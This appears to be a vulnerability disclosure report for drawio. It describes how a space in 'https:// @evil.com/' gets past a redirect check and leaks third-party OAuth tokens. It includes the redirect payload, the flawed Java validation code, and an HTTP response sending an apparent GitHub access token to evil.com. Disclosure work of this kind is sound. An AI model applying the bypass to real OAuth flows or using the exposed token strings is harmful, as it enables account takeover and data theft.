Leakage of third-party OAuth token via redirect

# Description
The application allows the usage of third-parties to store the files, such as Google Drive, Github, Gitlab, etc. It’s possible to bypass the protection of the `redirect` parameter and redirect the user and the OAuth token to an attacker controlled site.

# Proof of Concept

1. An attacker creates an third-party authorize link, such as :


The `state` parameter is altered to have the malicious `redirect`

&redirect=https:// @evil.com/
Note the space %20 after `https://`

2. The attacker sends the victim the link and the victim authorize it, thinking it’s from drawio.

3. When the victim is redirected back to drawio, the `redirect` parameter inside the `state` will be parsed and checked

successRedirect = stateVars.get(“redirect”);

//Redirect to a page on the same domain only (relative path)
if (successRedirect != null && isAbsolute(successRedirect))
successRedirect = null;

The `isAbsolute` function is defined as :

public static boolean isAbsolute(String url)
if (url.startsWith(“//”)) // //www.domain.com/start
return true;

if (url.startsWith(“/”)) // /somePage.html
return false;

boolean result = false;

URI uri = new URI(url);
result = uri.isAbsolute();
catch (URISyntaxException e) {} //Ignore

return result;

The bypass occurs on the `try/catch`, if the `redirect` value is an invalid URI it will return `false` and allow the redirect. The problem is that ,although invalid, `https:// @evil.com/` will be accepted by the browser and the user will be redirected to `evil.com` .

HTTP/2 302 Found
Date: Sat, 14 May 2022 04:08:37 GMT
Content-Type: text/html
Location: https:// @evil.com/#%7B%22access_token%22%3A%22ghu_eEEIwuwg1GN1FwidVj4TS4pAa8plEc02asJs%22%2C%22expires_in%22%3A28800%7D
Set-Cookie: auth-state= ;path=/github2; expires=Thu, 01 Jan 1970 00:00:00 UTC; Secure; HttpOnly; SameSite=none
Set-Cookie: auth-tokenIv1.98d62f0431e40543=ghr_MRUNjYWPUiKUDKFlQTxcT6442q0L6l6LdWcKf9XBqeYZV3bYYhMyaX6fYJV8kuKk1WRO6Y4gQHzK; Max-Age=31536000;path=/github2; Secure; HttpOnly; SameSite=none
X-Cloud-Trace-Context: 766df5ad8123a0fa5701fc92aec830d4
Cf-Cache-Status: DYNAMIC
Expect-Ct: max-age=604800, report-uri=”https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct”
Strict-Transport-Security: max-age=31536000; includeSubDomains
X-Content-Type-Options: nosniff
Server: cloudflare
Cf-Ray: 70b0c6119831273d-FOR


Note the `Location` header.

I wasn’t able to reproduce the vulnerability on the main website because if the `IS_GAE` variable is True the application will check the authentication state via the cookies :

//Non GAE runtimes are excluded from state check. TODO Change GAE stub to return null from CacheFactory
else if (IS_GAE && (stateToken == null || !stateToken.equals(cookieToken)))
“`Read More

Back to Main

Subscribe for the latest news: